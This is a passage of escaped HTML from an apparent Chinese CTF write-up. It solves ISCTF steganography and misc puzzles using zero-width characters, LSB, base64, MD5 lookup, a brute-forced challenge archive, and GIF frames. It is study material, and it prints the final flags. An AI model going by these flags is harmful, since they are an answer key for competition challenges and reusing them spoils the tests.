src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1613\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-49.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"836\" height=\"915\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-49.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1614\"  sizes=\"auto, (max-width: 836px) 100vw, 836px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6587\u672c\u9690\u6c34\u5370 \u9690\u5199<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u89e3\u5bc6\u7f51\u7ad9<a href=\"https:\/\/www.guofei.site\/pictures_for_blog\/app\/text_watermark\/v1.html\">\u6587\u672c\u9690\u6c34\u5370<\/a><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-50-1024x360.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"360\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-50-1024x360.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1615\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u89e3\u51fa\u7684\u5bc6\u6587<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u4f60\u867d\u7136\u80fd\u8d70\u5230\u8fd9\u4e00\u6b65\u200c\u200c\u200c\u200c\u200c\u202c\u200d\u200c\u200c\u200c\u200c\u200c\u200c\u200c\u200c\u200c\u200c\u200c\u200c\u200c\u202c\u200c\u200c\u200c\u200c\u200c\u200c\u200c\u200c\u200c\u200c\u200c\u200c\u202c\u200d\u200c\u200c\u200c\u200c\u200c\u200d\u202c\u200c\u200c\u200c\u200c\u200d\u202c\u200d\u200d\u200c\u200c\u200c\u200c\u200c\u202c\u200d\u200c\u200c\u200c\u200c\u200c\u200c\u200c\u200c\u200c\u200c\u200c\u200c\u200d\u200c\u200c\u200c\u200c\u200c\u200d\u202c\u200c\u200c\u200c\u200c\u200c\u200d\u200c\u200c\u200c\u200c\u200c\u200d\u200d\u200c\u200c\u200c\u200c\u200c\u200d\u202c\u200c\u200c\u200c\u200c\u200d\u202c\u200d\u200c\u200c\u200c\u200c\u200c\u200c\u200c\uff0c\u200c\u200c\u200c\u200c\u200d\u202c\u200c\u202c\u200c\u200c\u200c\u200c\u200c\u200d\u200d\u200c\u200c\u200c\u200c\u200c\u202c\u200c\u4f46\u8fd8\u4e0d\u662f\u4f18\u79c0\u5b66\u751f\u54e6\u200c\u200c\u200c\u200c\u200d\u202c\u200d\u200d\u200c\u200c\u200c\u200c\u200d\u202c\u200c\uff0c\u200c\u200c\u200c\u200c\u200c\u200d\u200cflag\u662f\u4e13\u5c5e\u4e8e\u4f18\u79c0\u5b66\u751f\u7684\u5956\u52b1\uff0c\u4f18\u79c0\u5b66\u751f\u81ea\u4f1a\u77e5\u9053\u4ed6\u7684\u5492\u8bed<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u73b0\u6709\u96f6\u5bbd\u5b57\u7b26\u9690\u5199\u89e3\u5bc6<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-51-1024x484.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"484\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-51-1024x484.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1616\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>5b298e6836902096e9316756d3b58ec4<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">md5\u89e3\u5bc6<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-52-1024x519.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"519\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-52-1024x519.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1617\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u5bc6\u94a5\uff1a!!!@@@###123<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-53.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"664\" height=\"246\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-53.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1618\"  sizes=\"auto, (max-width: 664px) 100vw, 664px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{1e7553787953e74113be4edfe8ca0e59}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u963f\u5229\u7ef4\u4e9a\u7684\u4f20\u8bf4<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u89e3\u538b\u51fa\u6765\u662f\u4e00\u4e2aword\u548c\u4e00\u4e2a\u56fe\u7247<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">word\u91cc\u9762\u6709\u4e00\u4e2a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-54-1024x635.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"635\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-54-1024x635.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1619\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u83b7\u5f97\u5bd3\u8a001<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u8c15\u8a001:\nV=Dortt\nA=otuTa\nN=NTsin<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u56fe\u7247\u91cc\u9762\u6709\u4e00\u4e2a\u538b\u7f29\u5305<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-55.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1005\" height=\"478\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-55.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1620\"  sizes=\"auto, (max-width: 1005px) 100vw, 1005px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u73b0flag3\u7206\u7834<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-56.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"690\" height=\"268\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-56.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1621\"  sizes=\"auto, (max-width: 690px) 100vw, 690px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>8652<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-57.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"631\" height=\"344\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-57.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1622\"  sizes=\"auto, (max-width: 631px) 100vw, 631px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u8c15\u8a003:\nT=FMfr\nR=iytY\nU=nGFo\nE=diou<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u56fe\u7247\u67e5\u770bLSB<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-58.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"948\" height=\"704\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-58.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1623\"  sizes=\"auto, (max-width: 948px) 100vw, 948px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u73b0base64\u7f16\u7801<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>6LCV6KiAMjoKVz1Ib2VpaApIPW91VGdvCmw9cE1oaGkKTD1IYWV0YwpFPVlrckNI<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-59.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"526\" height=\"140\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-59.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1624\"  sizes=\"auto, (max-width: 526px) 100vw, 526px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u8c15\u8a002:\nW=Hoeih\nH=ouTgo\nl=pMhhi\nL=Haetc\nE=YkrCH<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u6309\u7167\u8981\u6c42\u62fc\u63a5\u5c31\u884c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{DoNotTrustTitan_HopeYouMakeTherightChoice_FindMyGiftForYou}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u5c0f\u84dd\u9ca8\u7684\u795e\u79d8\u6587\u4ef6<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-60.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"674\" height=\"676\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-60.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1625\"  sizes=\"auto, (max-width: 674px) 100vw, 674px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u662f\u4e00\u4e2a.dat\u6587\u4ef6<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>.dat\u6587\u4ef6\u662f\u6307\u6570\u636e\u6587\u4ef6<\/strong>\uff0c\u5b83\u5e76\u4e0d\u662f\u4e00\u79cd\u6807\u51c6\u7684\u6587\u4ef6\u683c\u5f0f\uff0c\u8bb8\u591a\u7a0b\u5e8f\u4f7f\u7528\u8fd9\u4e2a\u6269\u5c55\u540d\u6765\u8868\u793a\u4e0d\u540c\u7c7b\u578b\u7684\u6570\u636e\u3002\u5177\u4f53\u6765\u8bf4\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>.dat\u6587\u4ef6\u53ef\u4ee5\u5305\u542b\u4efb\u610f\u4fe1\u606f<\/strong>\uff0c\u4f8b\u5982\u6587\u672c\u3001\u56fe\u50cf\u3001\u97f3\u9891\u6216\u6570\u636e\u5e93\u8bb0\u5f55\u7b49<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5fae\u8f6f\u62fc\u97f3\u8bcd\u5e93(*.dat)<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-61.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"806\" height=\"740\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-61.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1626\"  sizes=\"auto, (max-width: 806px) 100vw, 806px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6839\u636e\u63d0\u793a\uff0c\u627e\u5230\u5b98\u7f51<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-62-1024x587.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"587\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-62-1024x587.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1627\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-63-1024x599.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"599\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-63-1024x599.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1628\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{\u6211\u8981\u548c\u5c0f\u84dd\u9ca8\u7ec4\u4e00\u8f88\u5b50CTF\u6218\u961f}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u7f8e\u4e3d\u7684\u98ce\u666f\u7167<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-64.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"816\" height=\"946\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-64.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1629\"  sizes=\"auto, (max-width: 816px) 100vw, 816px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5206\u89e3\u4e00\u4e0bgif\u5f97\u5230\u4e867\u5f20\u56fe\uff0c\u6bcf\u5f20\u56fe\u7684\u989c\u8272\u90fd\u4e0d\u4e00\u6837<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6839\u636e\u63d0\u793a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u6309\u7167\u5f69\u8679\u989c\u8272\u6392\u5e8f\u8bd5\u8bd5\u770b\n\u8fd9\u7167\u7247\u91cc\u7684\u53e4\u5efa\u7b51\u4e0a\u600e\u4e48\u5199\u4e2a\u660e\u5149\u5927\u6b63\u201d\u201c\u90a3\u662f\u6b63\u5927\u5149\u660e\uff0c\u53e4\u98ce\u90fd\u662f\u5012\u7740\u6765\u7684<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-65.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"981\" height=\"386\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-65.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1630\"  sizes=\"auto, (max-width: 981px) 100vw, 981px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u6309\u7167\u4e03\u989c\u8272\u6392\u5e8f\uff0c\u5c31\u662f\u5f69\u8679\u7684\u987a\u5e8f\u6392\u5217\n\u7ea2\u3001\u6a59\u3001\u9ec4\u3001\u7eff\u3001\u84dd\u3001\u975b\u3001\u7d2b<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u56fe\u7247\u5b57\u7b26\u63d0\u53d61.bmp\u548c2.bmp\u548c5.bmp\u5b57\u7b26\u53cd\u8f6c\uff0c1\u548c2\u548c5\u662f\u53e4\u98ce\u5efa\u7b51\u53e4\u98ce\u90fd\u662f\u5012\u7740\u6765\u7684 \u56fe\u7247\u7684\u5b57\u7b26\u4e32\u8fdb\u884c\u53cd\u8f6c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>2Wqj C2gD 7HLo8 6yRWh KEaC3 ZXw8T 98Mz<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-66.png'><img class=\"lazyload lazyload-style-1\" 